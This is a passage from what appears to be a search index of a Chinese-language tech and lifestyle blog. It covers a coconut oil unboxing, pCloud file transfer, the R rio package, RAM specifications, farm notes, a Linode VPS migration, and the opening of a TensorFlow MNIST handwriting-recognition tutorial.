農藥殘留檢驗，是品質非常好的有機椰子油。\n這個椰子油產地位於菲律賓，生產過程沒有經過精製或氫化，是天然的椰子油。\n一罐的容量是 470 毫升（ml），網路上的價格大約是四百多左右。\n椰子油的罐口都有封條。\n開罐前要打開封條，這個蓋子非常緊，打開它要花一些力氣。\n打開之後，就可以聞到天然椰子的清新香味。\n在夏天天氣熱的時候（攝氏 26 度以上），天然的椰子油是呈現液態的。\n液態的椰子油幾乎是沒有什麼顏色。\n因為天然有機的椰子油很香，我非常喜歡把它塗在吐司或麵包上。\n我覺得吐司光是只塗椰子油就很好吃了，最近的早餐都是吃這個。\n天然的椰子油在攝氏 26 度以下就會開始凝固，凝固之後的椰子油會呈現雪白色，如果是要拿來塗麵包的話，這樣會比較好塗。\n這是椰子油罐子上面的美國國家農業部（USDA）有機認證標章，以及台灣 SGS 農藥殘留檢驗的標章。\n這是他的營養標示。\n這是椰子油瓶身上面的文字說明。\n","permalink":"https://blog.gtwang.org/unboxing/edible-haven-organic-virgin-coconut-oil/","summary":"\u003cp\u003e美國的 Edible Haven 有機椰子油品質非常好，價格也便宜，推薦給大家參考。\u003c/p\u003e\n\u003cp\u003e最近買了幾罐美國的 Edible Haven 冷壓初榨有機椰子油，其通過美國國家農業部（USDA）有機認證，以及台灣的 SGS 農藥殘留檢驗，是品質非常好的有機椰子油。\u003c/p\u003e","title":"[開箱] 美國 Edible Haven 冷壓初榨有機椰子油"},{"content":"pCloud 的 Transfer 服務可以讓使用者免費傳送 5GB 的大型檔案，再也不用擔心 Email 無法夾帶大檔案了。\n如果手上有大型檔案需要傳送，又沒有 FTP 伺服器可以使用，Email 又沒辦法夾帶那麼檔的檔案時，就可以考慮使用免費的大型檔案寄送服務。\npCloud Transfer 是一個免費的大檔案寄送服務，最高可傳送 5GB 的大檔案，不需要註冊，立即可用，而且支援安全加密，寄送資料有一定的保障。\n名稱：pCloud Transfer\n網址：https://transfer.pcloud.com/\nStep 1\n開啟 pCloud Transfer 的網頁，填入寄件人與收件人的 Email、文字訊息（可不填），並上傳大型檔案。\nStep 2\n填完之後，按下「SEND FILES」按鈕。\nStep 3\n等待大型檔案上傳，上傳完成之後，檔案就會寄送出去了。\nStep 4\n之後收件人就會收到類似這樣的郵件，裡面有附上大型檔案下載的連結網址。\nStep 5\n開啟下載大型檔案的連結網址，就可以從 pCloud 的網站下載大型檔案了。\n如果要使用加密功能，可以點選「Encrypt Your Files」，並設定密碼後，即可把自己的檔案加密再傳送，收到檔案的人要有密碼才能下載，不過加密的檔案大小不可以超過 200MB。\n","permalink":"https://blog.gtwang.org/useful-tools/pcloud-free-5gb-large-file-transfer-service/","summary":"\u003cp\u003epCloud 的 Transfer 服務可以讓使用者免費傳送 5GB 的大型檔案，再也不用擔心 Email 無法夾帶大檔案了。\u003c/p\u003e\n\u003cp\u003e如果手上有大型檔案需要傳送，又沒有 FTP 伺服器可以使用，Email 又沒辦法夾帶那麼檔的檔案時，就可以考慮使用免費的大型檔案寄送服務。\u003c/p\u003e","title":"pCloud 免費傳送 5GB 大型檔案服務，支援安全加密"},{"content":"R 的 rio 套件是一個綜合型的檔案匯入與匯出工具套件，支援各種常見的檔案格式。\n當我們要把資料從別的軟體匯入 R 中，或是要從 R 中匯出資料到別的軟體時，都會需要處理各式各樣檔案格式的轉換問題，傳統上不同的檔案格式會需要使用不同的匯入與匯出方式，而所需要安裝的套件也不同，當然使用方法也會有很大的差異，所以不是很方便。\nrio 這個套件則是將各種常見的資料格式都整合起來，變成一個萬用型的資料匯入與匯出工具，它會自動判斷檔案的格式，選擇適合的方式來處理，讓操作介面統一，使用上更單純。\n安裝 rio 套件 rio 這個套件是 R 官方收錄的套件之一，所以可以使用 install.packages 直接安裝：\ninstall.packages(\u0026#34;rio\u0026#34;) 安裝好之後，載入 rio 套件：\nlibrary(rio) 將樣就可以開始使用了。\nrio 所支援的檔案格式相當多，完整的檔案格式列表可以從 rio 官方的文件上查詢。\n匯出資料 rio 所提供的 export 函數可以將 R 的 data frame 匯出成各種的檔案格式：\nexport(iris, \u0026#34;iris.csv\u0026#34;) # CSV 檔 export(iris, \u0026#34;iris.rds\u0026#34;) # RDS 檔 export(iris, \u0026#34;iris.dta\u0026#34;) # Stata 檔 匯入資料 import 則可以自動匯入各種檔案格式：\niris.1 \u0026lt;- import(\u0026#34;iris.csv\u0026#34;) # CSV 檔 iris.2 \u0026lt;- import(\u0026#34;iris.rds\u0026#34;) # RDS 檔 iris.3 \u0026lt;- import(\u0026#34;iris.dta\u0026#34;) # Stata 檔 對於沒有副檔名的檔案，可以自行指定檔案的格式。例如匯入一個沒有副檔名的逗點分隔（csv）檔：\niris.4 \u0026lt;- import(\u0026#34;iris_noext\u0026#34;, format = \u0026#34;csv\u0026#34;) 某些檔案格式可能會包含許多張資料表格，這時候可以使用 which 參數來指定要匯入哪一張表格，例如讀取 Excel 檔的第二張表格：\nmy_file.1 \u0026lt;- import(\u0026#34;my_file.xlsx\u0026#34;, which = 2) 內部參數 rio 實際上做的事情就是自動判斷檔案的格式，然後依照檔案格式，呼叫對應的檔案匯入或匯出工具，我們也可以將特定的參數傳給 rio 背後所呼叫的函數，調整檔案匯入或匯出時的選項，以下是一個 Fixed Width Format 檔案格式的範例。\n首先產生一個 Fixed Width Format 檔案：\n# 建立一個 fwf 暫存檔 fwf \u0026lt;- tempfile(fileext = \u0026#34;.fwf\u0026#34;) # 寫入檔案內容 cat(file = fwf, \u0026#34;123456\u0026#34;, \u0026#34;987654\u0026#34;, sep = \u0026#34;\\n\u0026#34;) rio 在讀取 fwf 這種檔案時，內部其實是使用 read.fwf 這個函數來讀取的，我們可以在 import 的參數中直接指定 read.fwf 函數所需要的 widths 參數：\n# 資料欄位寬度為 1, 2, 3 import(fwf, widths = c(1, 2, 3)) V1 V2 V3 1 1 23 456 2 9 87 654 # 資料欄位寬度為 1, 2, 3，丟棄第 2 欄 import(fwf, widths = c(1, -2, 3)) V1 V2 1 1 456 2 9 654 測試完成後，把剛剛建立的暫存檔刪除：\nunlink(fwf) 檔案格式轉換 rio 的 convert 可以處理不同資料格式之間的轉換工作，事實上他就是結合 import 與 export 將資料匯入之後再以不同的格式匯出而已，使用方式如下：\n# 輸出測試用的 Stata 檔 export(iris, \u0026#34;iris.dta\u0026#34;) # 將 Stata 檔轉為 SPSS 檔 convert(\u0026#34;iris.dta\u0026#34;, \u0026#34;iris.sav\u0026#34;) 在呼叫 convert 時，我們可以透過 in_opts 與 out_opts 參數指定 import 與 export 用的參數：\n# 建立測試用的暫存檔 fwf \u0026lt;- tempfile(fileext = \u0026#34;.fwf\u0026#34;) csv \u0026lt;- tempfile(fileext = \u0026#34;.csv\u0026#34;) # 寫入檔案內容 cat(file = fwf, \u0026#34;123456\u0026#34;, \u0026#34;987654\u0026#34;, sep = \u0026#34;\\n\u0026#34;) # 將 fwf 檔轉為 csv 檔 convert(fwf, csv, in_opts = list(widths = c(1, 2, 3))) # 匯入轉好的 csv 檔 import(csv) # 刪除測試用的暫存檔 unlink(fwf) unlink(csv) ","permalink":"https://blog.gtwang.org/r/rio-package-import-export-convert-data-files-tutorial/","summary":"\u003cp\u003eR 的 rio 套件是一個綜合型的檔案匯入與匯出工具套件，支援各種常見的檔案格式。\u003c/p\u003e\n\u003cp\u003e當我們要把資料從別的軟體匯入 R 中，或是要從 R 中匯出資料到別的軟體時，都會需要處理各式各樣檔案格式的轉換問題，傳統上不同的檔案格式會需要使用不同的匯入與匯出方式，而所需要安裝的套件也不同，當然使用方法也會有很大的差異，所以不是很方便。\u003c/p\u003e","title":"R 的 rio 套件：匯入與匯出 Excel、SAS、SPSS、CSV、JSON、XML 等檔案"},{"content":"本篇介紹關於電腦記憶體的一些基本常識，包含記憶體大小、運作頻率、傳輸速度與插槽規格等。\n記憶體（Random Access Memory，簡稱 RAM）是電腦暫時儲存資料的地方，它介於 CPU 快取（cache）與硬碟之間，一般來說記憶體越大，則電腦能夠同時處理的工作就越多，就好像有越大張的桌子，上面可以擺放的工具越多，處理事情會越有效率。\n而在購買記憶體時，複雜的記憶體規格時常會讓人搞不清楚該怎麼挑選，以下是關於記憶體各種規格的介紹。\n記憶體容量 記憶體的容量大家應該都很清楚，有問題的應該是一台電腦該裝多少記憶體才夠？這個問題因人而異，但以目前的作業系統來說，建議至少要有 4GB 的記憶體，如果會同時開很多 Word 檔、Excel 檔，或是同時開很多網頁、軟體等，就可以把記憶體加到 8GB，通常最多不超過 16GB，太多記憶體反而沒用浪費。\nDIMM 與 SO-DIMM DIMM 與 SO-DIMM 是指記憶體的外觀尺寸，DIMM（Dual In Line Memory Module）是一般桌上型電腦所使用的記憶體尺寸，一般我們常見的這種長條形的記憶體就是屬於 DIMM。\n而 SO-DIMM（Small Outline DIMM）則是用於筆記型電腦的記憶體尺寸，它的尺寸比 DIMM 還要短很多。\n這是 DIMM 與 SO-DIMM 尺寸的比較，SO-DIMM 大約只有 DIMM 的一半長而已。\nDDR DDR（Double Data Rate）是記憶體的傳輸標準，意指每一個時脈週期（clock cycle）有兩個傳輸，此一系列的標準從 DDR、DDR2、DDR3 演進到 DDR4，比較新的記憶體與主機板會使用比較新的標準，不同標準彼此不相容（記憶體腳位完全不同），如果主機板支援的記憶體標準是 DDR3，就不能插 DDR2 或 DDR4 的記憶體，反之亦然。\n目前常見的記憶體中最老舊的應該就是 DDR2（DDR 應該已經不太會有人用了），DIMM 的 DDR2 記憶體有 240 pins，而 SO-DIMM 則有 200 pins。\n這是我從舊電腦上拆下來的兩條金士頓 Kingston 2GB DDR2 記憶體，其型號是 KVR800D2N6/2G，雖然是終身保固，但是現在如果買新電腦的話，已經沒有什麼用了，這種記憶體現在只有修舊電腦時才會有用。\nDDR3 是 2007 年釋出的標準，目前許多的電腦應該都還是在使用這個標準，DIMM 的 DDR3 記憶體有 240 pins，而 SO-DIMM 則有 204 pins。雖然 DDR3 與 DDR2 很相似，不過 DDR3 的工作電壓比 DDR2 還要低，而速度也比較快，所以兩者是不相容的。\nDDR4 是目前最新的記憶體標準，其針腳增加到 260 pins，工作電壓又比 DDR3 更低一些。\n記憶體時脈與速度 記憶體有兩種速度標示方式，一種是 DDR 開頭的標示法，例如 DDR3-1600，另外一種則是 PC 開頭的標示法，例如 PC3-12800，在 DDR 或 PC 後面的一個數字是代表記憶體的世代，PC2 等同於 DDR2、PC3 等同於 DDR3、PC4 等同於 DDR4。\n在 DDR 開頭標示法的連字線後方的數字是代表每秒的傳輸次數（megatransfers），單位是 MT/s，這個值大家也時常視為記憶體的時脈（clock rate），單位是 MHz，例如 DDR3-1600 的時脈就是 1600 MHz，也就是每秒傳輸 1600 M 次。\n而 PC 開頭標示法的連字線後方的數字則是代表傳輸速度的理論值，單位是 MB/s，例如 PC3-12800 的速度就是 12800 MB/s。\n記憶體的時脈與傳輸速度的換算公式為\n傳輸速率 = 64 位元 * 時脈 / 8 以 1600 MHz 的時脈來說，換算成傳輸速率就是 64 bits * 1600 MHz / 8 = 12800 MB/s。\n當然這些數值都是越高越好，不過在選購記憶體的時候，也要注意自己的主機板是否有支援到這個世代的記憶體以及速度。\n如果將不同速度的記憶體放在一起使用，則實際的速度會以最慢的那一條記憶體為準，所以如果對於記憶體速度很在乎的話，就要避免不同記憶體混用的狀況。\n延遲時間 延遲時間（CAS latency，亦稱 CL 值）是指電腦要讀取記憶體的資料時，需要等待多久之後才能真正開始讀取。有些記憶體會標示它的延遲時間，其內容是一連串的數字，例如 9-10-9-27，第一個數字就是記憶體的延遲時間，單位是時脈週期。\n以 533 MHz 的 DDR3 記憶體來說，時脈週期就是 1/533000000 秒，即 1.87 ns，如果它的 CL 值是 7 個時脈週期的話，換算出來就是 1.87 * 7 = 13.09 ns。\nECC ECC（Error Correcting Code）是資料錯誤偵測與校正功能，具有 ECC 功能的記憶體通常都是用於專業的伺服器，或是高階的重要資料設備，確保資料的正確性與完整性，一般普通個人電腦的主機板也沒有支援 ECC 的記憶體，所以如果要購買普通個人電腦要用的記憶體，在購買時就可以直接跳過 ECC 的記憶體，選擇一般的記憶體就好了。\n主機板記憶體插槽 有時候主機板上的記憶體插槽會有好多組，如果記憶體的數量比較少的時候，到底該怎麼插就是一個問題。\n通常這種很多記憶體插槽的主機板，它的記憶體插槽應該都會有不同的顏色，最簡單的做法就是選同一種顏色插就對了，不要一條記憶體插黑色插槽，另一條又插灰色插槽，這樣會讓傳輸效能驟減。\n而最標準的做法則是查閱主機板的說明書，在說明書中一定會很清楚寫出每條記憶體插槽的通道（channel），以及不同數量的記憶體該怎麼插。\n原則上就是盡量讓記憶體分散在不同的記憶體通道上，才能發揮出最高的效能。\nCPU-Z CPU-Z 是一個好用的小工具，它可以查詢非常多的硬體資訊，當然也包含記憶體相關的資料。\n在 Channel 的部分會顯示目前記憶體的通道數，如果是支援雙通道的主機板，插上兩條記憶體的話，應該就會出現雙通道，但是如果插錯插槽，可能就會只有單通道，我們可以在這裡檢查是否有正常使用到雙通道。\n參考資料 mobile01 MakeUseOf MakeUseOf ","permalink":"https://blog.gtwang.org/tips/effect-of-ram-size-and-frequency/","summary":"\u003cp\u003e本篇介紹關於電腦記憶體的一些基本常識，包含記憶體大小、運作頻率、傳輸速度與插槽規格等。\u003c/p\u003e\n\u003cp\u003e記憶體（Random Access Memory，簡稱 RAM）是電腦暫時儲存資料的地方，它介於 CPU 快取（cache）與硬碟之間，一般來說記憶體越大，則電腦能夠同時處理的工作就越多，就好像有越大張的桌子，上面可以擺放的工具越多，處理事情會越有效率。\u003c/p\u003e","title":"記憶體 RAM 基本常識：容量大小、時脈、傳輸速度與插槽規格"},{"content":"本篇是我們家的百香果結果紀錄。\n這是家門前的百香果藤架，最近結滿了百香果。\n藤架上爬滿了百香果的藤蔓。\n上面結了滿滿的百香果，大部分的百香果都還是綠色的，尚未成熟。\n有些百香果已經開始轉成紅色了。\n","permalink":"https://blog.gtwang.org/agriculture/passion-fruit-sigang-tainan-20170702/","summary":"\u003cp\u003e本篇是我們家的百香果結果紀錄。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e這是家門前的百香果藤架，最近結滿了百香果。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"百香果藤架\" loading=\"lazy\" src=\"/agriculture/passion-fruit-sigang-tainan-20170702/passion-fruit-sigang-tainan-20170702-12.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e藤架上爬滿了百香果的藤蔓。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"百香果藤架\" loading=\"lazy\" src=\"/agriculture/passion-fruit-sigang-tainan-20170702/passion-fruit-sigang-tainan-20170702-07.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e上面結了滿滿的百香果，大部分的百香果都還是綠色的，尚未成熟。\u003c/p\u003e","title":"[台南西港] 百香果藤蔓"},{"content":"本篇是我們家的黑芝麻田收成後，曝曬芝麻的紀錄。\n在黑芝麻開花結果並等待芝麻成熟之後，就可以採收了，採收下來的芝麻會直接放在田裡曬乾。\n今年我們家黑芝麻田的主要採收時期，我剛好沒有時間去拍照，這些照片是比較後期種植的黑芝麻，數量比較少，不過還是可以看得出來採收的樣子。\n採收下來的黑芝麻就用繩子綑成一捆一捆，直立在田裡曬乾，曬乾之後再把黑芝麻取出來。\n黑芝麻就藏在這些豆莢裡面。\n這些是隔壁的黑芝麻田，大家的採收期間都差不多。\n阿玄跟正在曝曬的黑芝麻合照。\n","permalink":"https://blog.gtwang.org/agriculture/exposuring-sesame-sigang-tainan-20170702/","summary":"\u003cp\u003e本篇是我們家的黑芝麻田收成後，曝曬芝麻的紀錄。\u003c/p\u003e\n\u003cp\u003e在\u003ca href=\"/agriculture/sesame-flowering-sigang-tainan-20170527/\"\u003e黑芝麻開花結果\u003c/a\u003e並等待芝麻成熟之後，就可以採收了，採收下來的芝麻會直接放在田裡曬乾。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e今年我們家黑芝麻田的主要採收時期，我剛好沒有時間去拍照，這些照片是比較後期種植的黑芝麻，數量比較少，不過還是可以看得出來採收的樣子。\u003c/p\u003e","title":"[台南西港] 黑芝麻收成曝曬紀錄，2017 年春季"},{"content":"本篇紀錄我將 G. T. Wang 部落格的 VPS 伺服器從 Linode 的新加坡機房轉移至日本機房的過程，以及保持網站持續服務不斷線的技巧。\n最近測試了一下 Linode 新加坡機房與日本第二機房的網路連線速度（ping），發現在台灣不同地方的測試數據會不太一樣，以下是我在台南用中華電信光世代的網路環境測的結果，首先是新加坡機房的數據。\n在中華電信網路下，日本第二機房的連線速度比新加坡機房快一些，而且台灣對日本的網路頻寬又比新加坡高，所以如果是針對台灣使用者的伺服器，放在日本會是不錯的選擇。\nLinode 的日本機房在前幾年銷售一空，我當時要將 G. T. Wang 部落格搬過來 Linode，亞洲區只剩下新加坡機房可以使用，後來 Linode 又增加了日本第二機房，經過了半年應該是夠穩定了，所以現在決定把 G. T. Wang 部落格轉移過去。\n整個操作過程跟之前升級 Linode VPS 的過程類似，一樣都是使用一個 VPS 副本維持網站服務，等待正式網站轉移完成後，再切換回來。\nStep 1\n首先在 Linode 中新增兩個 VPS，一個放在原本位置的機房（新加坡），另外一個放在新位置的機房（日本），方案就跟原本的伺服器方案即可。\nStep 2\n機房位置可在「Location」的地方選擇，一個選新加坡，另外一個選日本，不可以選錯。\nStep 3\n新增完兩個 Linode VPS 之後，檢查一下狀態以及所在地，現在總共應該會有三個 VPS，一個是原本位於新加坡的 VPS，另外兩個是新增的 VPS。\nStep 4\n從原本新加坡的 VPS 中，在「Backups」籤頁中製作一份最新的備份快照，再利用「Restore to…」的功能複製一份副本。（這個需要啟用 Backups 備份功能才有，如果沒有啟用的人，可以直接啟用後使用，用完再關掉，短期使用費用不高）。\nStep 5\n選擇回復副本的目的地，請選擇新增的那一個 Linode VPS。\nBackups 的 Restore 功能只能回復至本地端的 Linode VPS 中，所以這裡只能選擇新加坡的 Linode VPS。\nStep 6\n回復完成後，將這台 VPS 開機，然後複製它的 IP 位址。\nStep 7\n使用本機 hosts 檔案的方式測試副本 VPS 是否正常，接著修改 DNS 紀錄，將所有服務網站的 IP 位址替換為這台副本 VPS 的 IP 位址。（這個步驟跟之前升級 Linode VPS 的時候相同，詳細說明請參考之前的說明）\nStep 8\nDNS 轉移之後，等待舊的 VPS 網路流量歸零。\nStep 9\n確認完全沒有網路流量之後，將舊的 VPS 關機。\nStep 10\n使用 VPS 的「Clone」功能，將舊的 VPS 複製到日本機房，首先選擇舊 VPS 的 Profile，這種設定會將所有設定連同硬碟資料一起搬過去。\nStep 11\n目的地要選擇日本機房的 Linode VPS（剛剛新增的那一個）。\nStep 12\n跨資料中心的搬移過程會需要等比較久，我的 VPS 硬碟大小使是 30GB，從新加坡搬到日本大概要等一小時左右。\nStep 13\n等 VPS 搬移完成後，直接開機。\nStep 14\n修改 DNS 紀錄，將之前所有舊 VPS 的 IP 位址都改為日本 VPS 的 IP 位址，IPv4 與 IPv6 都要改。\nStep 15\n修改完 DNS 之後，現在的 VPS 應該是有兩台在跑，一台是位於新加坡的副本 VPS，另外一台則是轉移至日本的 VPS，另外那一台關機狀態的新加坡 VPS 則是最原始的 VPS。\nStep 16\n等待所有的流量都轉移至日本第二機房的 VPS 之後，其餘的 VPS 就可以刪除了，當然刪除之前請先確認所有的設定都有轉移過來，例如 Backups 的備份時機設定等。\n這樣就完成 VPS 的搬遷了，整個遷移過程大約花了三個小時左右。\n這是 Pingdom 的 uptime 數據，整個轉移過程網站還是可以維持 100% 的 uptime，而轉移過後伺服器的 response time 明顯變低一些（不確定是為什麼）。\n這是幾天之後的 uptime 與 response time 數據，看起來 response time 很明顯有下降。\n","permalink":"https://blog.gtwang.org/web-hosting/linode-migrate-vps-server-between-singapore-and-japan-data-centers-20170630/","summary":"\u003cp\u003e本篇紀錄我將 G. T. Wang 部落格的 VPS 伺服器從 Linode 的新加坡機房轉移至日本機房的過程，以及保持網站持續服務不斷線的技巧。\u003c/p\u003e\n\u003cp\u003e最近測試了一下 \u003ca href=\"https://www.linode.com/lp/refer/?r=5b74c1f208c14942572bb1ba1f0687285c81a6b3\"\u003eLinode\u003c/a\u003e 新加坡機房與日本第二機房的網路連線速度（ping），發現在台灣不同地方的測試數據會不太一樣，以下是我在台南用中華電信光世代的網路環境測的結果，首先是新加坡機房的數據。\u003c/p\u003e","title":"Linode VPS 伺服器搬遷紀錄，從新加坡機房轉移至日本機房"},{"content":"本篇示範如何使用 Google 的 TensorFlow、softmax 迴歸模型、CNN，實作一套手寫辨識系統。\n如果您沒學過 Google 的 TensorFlow，建議先閱讀 TensorFlow 機器學習軟體工具入門教學。\n本篇教學會以 MNIST 手寫影像資料作為範例，先以最簡單的 softmax 迴歸模型建立一個手寫辨識系統，準確率大約是 92%，接著再改用較為複雜的 CNN 模型，建立另外一個準確率更高的手寫辨識系統，最後的模型準確率可達 99%。\nMNIST 手寫影像資料 MNIST 是一個手寫影像的測試資料集，包含了 60,000 筆訓練用資料，以及 10,000 筆測試用資料。\n因為 TensorFlow 本身的內建範例就已經把資料的下載與讀取程式包裝好了，如果您只是想要嘗試跑一下 TensorFlow 的範例程式，可以直接跳過這段下載資料的步驟，這裡是敘述比較底層的 MNIST 資料格式，對於需要自己開發手寫程式的人才會比較需要了解。\n下載 MNIST 手寫圖檔資料，總共有四的壓縮檔，分別為訓練用（training set）與測試用（test set）的影像與標示（label）檔：\n# training set images (9912422 bytes) wget http://yann.lecun.com/exdb/mnist/train-images-idx3-ubyte.gz # training set labels (28881 bytes) wget http://yann.lecun.com/exdb/mnist/train-labels-idx1-ubyte.gz # test set images (1648877 bytes) wget http://yann.lecun.com/exdb/mnist/t10k-images-idx3-ubyte.gz # test set labels (4542 bytes) wget http://yann.lecun.com/exdb/mnist/t10k-labels-idx1-ubyte.gz MNIST 的原始圖檔資料是 20x20 像素的手寫圖，計算重心之後，放在 28x28 的圖檔中心（重心對準新圖檔中心），而 training set 標示檔的檔案格式如下：\nOffset 資料類型 資料值 說明 0000 32 bits integer 0x00000801(2049) magic number (MSB first) 0004 32 bits integer 60000 資料筆數 0008 unsigned byte 0 ~ 9 label 資料 0009 unsigned byte 0 ~ 9 label 資料 ... unsigned byte 0 ~ 9 label 資料 標示資料的值皆為 0 到 9 的數值。\ntraining set 圖檔的檔案格式如下：\nOffset 資料類型 資料值 說明 0000 32 bits integer 0x00000803(2051) magic number 0004 32 bits integer 60000 資料筆數 0008 32 bits integer 28 rows 數目 00012 32 bits integer 28 columns 數目 0016 unsigned byte 像素資料 0017 unsigned byte 像素資料 ... unsigned byte 像素資料 像素資料是採用 row-wise 的方式儲存的，其值為 0 到 255，0 代表背景（白色），255 代表前景（黑色）。\n測試用資料集的資料格式也是類似，詳細的說明請參考 MNIST 的官方網頁說明。\n下載四個壓縮檔之後，我們使用 gzip 解壓縮：\ngzip -d *.gz 再用 od 查看一下這些二進位的檔案內容，例如：\nod -t x1 -N 64 train-labels-idx1-ubyte 0000000 00 00 08 01 00 00 ea 60 05 00 04 01 09 02 01 03 0000020 01 04 03 05 03 06 01 07 02 08 06 09 04 00 09 01 0000040 01 02 04 03 02 07 03 08 06 09 00 05 06 00 07 06 0000060 01 08 07 09 03 09 08 05 09 03 03 00 07 04 09 08 準備 MNIST 資料 使用 TensorFlow 內建的教學程式碼，自動下載與讀取 MNIST 的資料：\nfrom tensorflow.examples.tutorials.mnist import input_data mnist = input_data.read_data_sets(\u0026#34;MNIST_data/\u0026#34;, one_hot=True) 將 MNIST 資料讀取進來之後，會分成三部份：\nmnist.train：訓練用資料 55,000 筆。 mnist.validation：驗證用資料 5,000 筆。 mnist.test：測試用資料 10,000 筆。 每部份的資料都會有影像（例如 mnist.train.images）與標示（例如 mnist.train.labels），在這個手寫辨識的問題上，我們會將影像當作模型輸入的 x，而標示則當作模型輸出的 y。\n這裡我們將每一個手寫數字的影像都視為長度為 28 * 28 = 784 的向量（其降維的研究可參考 colah’s blog），因此 mnist.train.images 就是一個 shape 為 [55000, 784] 的 tensor，其中每個數值都是一個介於 0 與 1 的浮點數。\n在標示的資料（mnist.train.label）上，我們使用長度為 10 的向量來表示 0 到 9 的數字，這種向量之中只有一個元素是 1，其餘都是 0，當第 n 個向量元素是 1 時就代表第 n 個數字，例如 [0, 0, 0, 1, 0, 0, 0, 0, 0, 0] 就代表 3，像這種向量就稱為 one-hot 向量。\nSoftmax 迴歸分析 在手寫數字辨識系統中，由於數字只有 0 到 9 這十種可能，當我們拿到一個手寫數字的影像時，我們的模型可能會認為這個影像有 80% 的機率是 9，而有 5% 的機率是 8，然後還有一些更小的機率是其他的數字。\nSoftmax 迴歸模型可以產生每一個結果的發生機率，而所有的發生機率總和為 1，像這種數字辨識問題就很適合使用 softmax 迴歸模型來處理，事實上在更複雜的分析模型中，也很常在最後的分析步驟上加上 softmax 迴歸模型來輸出機率值。\nSoftmax 迴歸分析有兩個步驟，第一步是針對某一個類別，加總所有的可能是此類別的表徵特性（evidence），第二步則是將這些表徵特性轉換為機率值。\n給定一個手寫影像 \\(x\\)，其會屬於第 \\(i\\) 個類別的表徵特性模型為：\n\\[ \\text{evidence}_i = \\sum_j W_{i,~ j} x_j + b_i \\]其中 \\(W_{i,~ j}\\) 是權重（weight），\\(b_i\\) 是偏差值（bias），而 \\(x_j\\) 就是 \\(x\\) 的第 \\(j\\) 個像素值。\n接著再將表徵特性經過 softmax 函數轉換為機率值 \\(y\\)：\n\\[ y = \\text{softmax}(\\text{evidence}) \\]而 softmax 函數可以想像成一個標準化的函數：\n\\[ \\text{softmax}(x) = \\text{normalize}(\\exp(x)) \\]寫成實際的數學式就會像這樣：\n\\[ \\text{softmax}(x)_i = \\frac{\\exp(x_i)}{\\sum_j \\exp(x_j)} \\]softmax 函數的指數函數會將 \\(x\\) 的線性差異轉為指數差異，關於這個函數的性質可參考 Michael Nielsen 的網頁。\n下圖是 softmax 回歸模型的示意圖，這裡以三個輸入的 \\(x_i\\)（三個像素）與三個輸出 \\(y\\)（三個數字的機率）作為示範：\n若將此模型用方程式的寫法則為：\n我們可以將上面的方程式，改為矩陣與向量運算的寫法：\n最後用標準的數學式表示就是：\n\\[ y = \\text{softmax}(Wx + b) \\]TensorFlow 實作 匯入 tensorflow 模組：\nimport tensorflow as tf 定義模型 定義模型，首先定義輸入的資料 x，：\nx = tf.placeholder(tf.float32, [None, 784]) 這裡的 x 就是多張 MNIST 的影像資料，每一張影像就是一個 784 維的向量，此處的 None 代表該維度的長度可以是任意值。\n接著定義權重與偏差值：\nW = tf.Variable(tf.zeros([784, 10])) b = tf.Variable(tf.zeros([10])) 由於 W 要乘上 784 維的向量（輸入影像），然後產生 10 維的表徵特性向量（代表一個數字），所以 W 的 shape 會是 [784, 10]，而 b 只是單純加在 10 維的表徵特性向量上的常數而已，所以 shape 為 [10]。\n建立主要的模型：\ny = tf.nn.softmax(tf.matmul(x, W) + b) 此處我們使用 tf.matmul 處理矩陣乘法，再用 tf.nn.softmax 處理 softmax 函數。因為這裡的 x 從原本的一張影像變成了多張影像，也就是說 x 從向量變成了矩陣，所以為了計算方便，我們改成這樣寫，雖然它跟上面理論推導的數學式子不太一樣，但概念是不變的。\n訓練模型 這裡我們使用 cross-entropy 的方式來衡量模型的表現，cross-entropy 函數的定義如下：\n\\[ H_{y'}(y) = -\\sum_i y'_i log(y_i) \\]其中 \\(y\\) 是模型預測出來的機率分佈，而 \\(y'\\) 則是真實的分佈（對應的 one-hot 向量），這個值越小則代表模型表現越好，也就是模型預測結果越接近真實的分佈。關於 cross-entropy 的理論請參考 colah\u0026rsquo;s blog 的文章。\n在實作 cross-entropy 時，我們要增加一個 placeholder 來輸入真實的分佈（正確答案）：\ny_ = tf.placeholder(tf.float32, [None, 10]) 接著實作 cross-entropy 函數：\ncross_entropy = tf.reduce_mean(-tf.reduce_sum(y_ * tf.log(y), reduction_indices=[1])) 這裡先用 tf.log 計算每個 (y) 元素的 (log) 轉換，再以元素對元素（一對一對應）的方式乘以 y_，然後使用 tf.reduce_sum 配合 reduction_indices=[1] 參數，將這個矩陣沿著第二維度加總，最後再使用 tf.reduce_mean 計算整個向量的平均值。\n由於這行程式碼在數值計算上不穩定，在實際使用上，我們會改用 tf.nn.softmax_cross_entropy_with_logits 這個函數來計算。\ncross_entropy = tf.reduce_mean( tf.nn.softmax_cross_entropy_with_logits(labels=y_, logits=y)) 接著使用 backpropagation 演算法尋找最佳解：\ntrain_step = tf.train.GradientDescentOptimizer(0.5).minimize(cross_entropy) 這裡我們使用 gradient descent 演算法，learning rate 取 0.5。TensorFlow 本身還有提供其他許多的 optimizer 可以使用，請參考 TensorFlow 的文件。\n建立一個 InteractiveSession，並初始化 variables：\nsess = tf.InteractiveSession() tf.global_variables_initializer().run() 進行 1000 次的訓練：\nfor _ in range(1000): batch_xs, batch_ys = mnist.train.next_batch(100) sess.run(train_step, feed_dict={x: batch_xs, y_: batch_ys}) 我們使用 stochastic gradient descent 